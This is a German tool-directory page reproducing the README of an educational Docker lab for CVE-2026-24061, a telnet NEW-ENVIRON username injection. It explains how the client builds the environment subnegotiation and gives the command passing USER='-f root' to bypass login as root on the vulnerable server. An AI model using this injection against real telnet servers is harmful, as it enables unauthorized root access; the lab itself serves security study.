Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-24061 — # Docker-Lab zur Telnet NEW-ENVIRON-Benutzernamen-Injektion (CVE-2026-24061) Pädagogisches Docker-Lab, das die Telnet-NEW-ENVIRON-Benutzernamen-Injektion (CVE-2026-24061) mit einem Python-Client und einem verwundbaren Server für isolierte Sicherheitsforschung demonstriert. | Kitploit
Tools/GitHubGitHub/tiborscholtz/cve-2026-24061
SchwachstellenanalyseExploitationNetzwerksicherheitLernen & BildungLabs & Praxis
GitHubtiborscholtz/cve-2026-24061

CVE-2026-24061

# Docker-Lab zur Telnet NEW-ENVIRON-Benutzernamen-Injektion (CVE-2026-24061) Pädagogisches Docker-Lab, das die Telnet-NEW-ENVIRON-Benutzernamen-Injektion (CVE-2026-24061) mit einem Python-Client und einem verwundbaren Server für isolierte Sicherheitsforschung demonstriert.

Repository anzeigen
vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Docker Telnet Auto-Login Lab

Docker Python License

Ein leichtgewichtiges Docker-Labor zum Experimentieren mit Telnet-Protokollverhandlung, erklärt im CVE-2026-24061-Exploit, der eine automatische Benutzernamen-Injektion mithilfe der NEW-ENVIRON-Option enthält.

Dieses Projekt erstellt eine isolierte Client-Server-Umgebung, um zu untersuchen, wie Telnet die umgebungsbasierte Authentifizierungsumgehung behandelt.


Funktionen

  • Isoliertes Zwei-Container-Labor mit Docker Compose
  • Benutzerdefinierter Python-Telnet-Client
  • Automatische Injektion der Umgebungsvariable USER
  • Grundlegende Behandlung der Telnet-Optionsverhandlung
  • Dienstermittlung über internes Docker-DNS
  • Minimaler, reproduzierbarer Aufbau

Architektur

root@kitploit:~
+---------+        labnet        +---------+
| node1   |  ------------------> | node2   |
| Client  |                      | Telnet  |
| Python  |                      | Server  |
+---------+                      +---------+
ContainerRolle
node1Python-Client mit Auto-Login-Skript
node2Telnet-Server (inetutils-telnetd 2.7)

Beide Dienste laufen in einem privaten Docker-Bridge-Netzwerk namens labnet.


Projektstruktur

root@kitploit:~
.
├── compose.yaml
├── Dockerfile.node1
├── Dockerfile.node2
└── exploit.py

Dateidetails

Dockerfile.node1

Diese Datei ist für die Installation des Client-Containers namens node1 verantwortlich.

Ich habe python:3.12-slim als Basis-Image gewählt, da der Zweck dieses Labors ausschließlich die Netzwerkkommunikation ist. Wir installieren nur den Telnet-Client selbst und kopieren die exploit.py in das Stammverzeichnis des Containers.

Dockerfile.node2

Diese Datei ist für die Installation des Server-Containers namens node2 verantwortlich.

Dasselbe Basis-Image gilt auch für diesen Container. Der Installationsprozess umfasst jedoch mehr Schritte:

  • Nach dem Update müssen wir wget installieren, um die verwundbare Version von telnetd zu erhalten.
  • Nach dem Herunterladen der verwundbaren Version installieren wir sie mit apt get install -y.
  • Die an /etc/inetd.conf angehängte Zeile aktiviert den Telnet-Dienst.
  • Der letzte Befehl aktiviert den inetd-Daemon als Startbefehl für den Container.

exploit.py

Am Anfang der Datei sehen wir einige deklarierte Konstanten:

root@kitploit:~
IAC  = 255 
DO   = 253
DONT = 254
WILL = 251
WONT = 252
SB   = 250
SE   = 240

IAC mit dem Wert 255 bedeutet „Interpret As Command" (Als Befehl interpretieren) und markiert den Beginn der Telnet-Steuersequenz.

Weitere Optionen können Sie hier einsehen.

Das Format sieht normalerweise so aus:

root@kitploit:~
IAC <Befehl> <Option>

Im Skript gibt es den folgenden Teil:

root@kitploit:~
# Handle telnet negotiation
if IAC in data:
    handle_telnet_negotiation(sock, data, username)

Diese if-Abfrage prüft, ob die aktuell vom Server empfangenen Daten den IAC-Wert enthalten. Wenn ja, müssen wir ihn als Befehl interpretieren.

Wir durchlaufen die empfangenen Daten mit einer while-Schleife. Wir prüfen jedes Byte darauf, ob es ein IAC ist.

root@kitploit:~
if data[i] == IAC:
    cmd = data[i+1]
    opt = data[i+2]

Wenn dies der Fall ist, weisen wir den Variablen cmd und opt das entsprechende Byte des Datenstroms zu.

Wenn der opt-Wert dem Wert von NEW_ENVIRON entspricht, führt das Skript die Methode send_new_environ_user aus.

Betrachten wir den folgenden Codeteil:

root@kitploit:~
data = bytes([
        IAC, SB, NEW_ENVIRON, 0,  # IS
        ENV_USERVAR
    ]) + b"USER" + bytes([ENV_VALUE]) + username.encode() + bytes([
        IAC, SE
])

SB und SE sind Teil der Konstanten des Telnet-Protokolls. SB steht für „Subnegotiation begin" (Beginn der Subverhandlung), während SE für „Subnegotiation end" (Ende der Subverhandlung) steht. Alles zwischen diesen beiden Werten sind Einstellungen, die sich auf einen bestimmten Befehl beziehen und an den Server gesendet werden. In diesem Fall möchten wir eine Nachricht gemäß dem rfc1572-Standard senden, im Detail hier.

Wir können die Bytesequenz grob wie folgt ins Englische übersetzen:

root@kitploit:~
- Interpretiere dies als Befehl (IAC)
- Es ist (0)
- Eine neue Umgebungsvariable (NEW_ENVIRON)
- Der Wert dieser neuen Umgebungsvariable ist (b"USER" + bytes([ENV_VALUE]) + username.encode())
- Beende die Subverbindung (IAC + SE)

Es gibt jedoch Fälle, in denen der anvisierte Telnet-Server keine Umgebungsvariablen in Bezug auf Benutzernamen unterstützt. In diesem Fall greifen wir auf die herkömmliche Methode zurück und senden den Benutzernamen auf traditionelle Weise.


Anforderungen

  • Docker 24+
  • Docker Compose v2+

Installation überprüfen:

root@kitploit:~
docker --version
docker compose version

Schnellstart

1. Umgebung erstellen und starten

root@kitploit:~
docker compose up --build -d

Status prüfen:

root@kitploit:~
docker ps

Sie sollten Folgendes sehen:

  • node1
  • node2

2. Eine Shell im Client-Container öffnen

root@kitploit:~
docker exec -it node1 bash

Einen Benutzernamen festlegen und das Skript ausführen:

root@kitploit:~
USER="-f root" python exploit.py node2

Das Skript wird:

  • Eine Verbindung zu node2 auf Port 23 herstellen
  • Die Telnet-Verhandlung durchführen
  • USER=-f root mithilfe von NEW-ENVIRON senden
  • Bei Bedarf auf die Erkennung von Eingabeaufforderungen zurückgreifen

Netzwerk

  • Netzwerkname: labnet
  • Internes Docker-DNS ermöglicht die Auflösung von Hostnamen
  • Es werden keine Ports an den Host weitergegeben
  • Die Kommunikation erfolgt nur von Container zu Container
HostnameDienst
node1Client
node2Telnet-Server

Implementierungshinweise

Das Client-Skript:

  • Behandelt die Telnet-Steuersequenzen IAC, DO, WILL, die grundlegende Telnet-Protokollbefehle für die Optionsverhandlung zwischen Client und Server sind.
  • Reagiert auf NEW-ENVIRON-Anfragen
  • Sendet:
root@kitploit:~
USER=<Wert von $USER>
  • Erkennt login:- oder username:-Eingabeaufforderungen als Fallback

Stoppen und Bereinigen

Umgebung stoppen:

root@kitploit:~
docker compose down

Wenn Sie auch Container und Images entfernen möchten:

root@kitploit:~
docker compose down --rmi all

Sicherheitshinweis

Telnet überträgt Daten im Klartext und ist nicht sicher. Dieses Projekt ist nur für Bildungszwecke in isolierten Umgebungen gedacht.


Fehlerbehebung

Verbindung abgelehnt

  • Stellen Sie sicher, dass die Container laufen:

    root@kitploit:~
    docker ps
    

Skript beendet mit USER-Fehler

  • Stellen Sie sicher, dass die Umgebungsvariable gesetzt ist:
root@kitploit:~
USER="-f root" python exploit.py node2

Nach Änderungen neu erstellen

root@kitploit:~
docker compose up --build

Lizenz

Dieses Repository wird für Bildungs- und Forschungszwecke bereitgestellt. Beiträge und Verbesserungen sind willkommen.

Tool herunterladen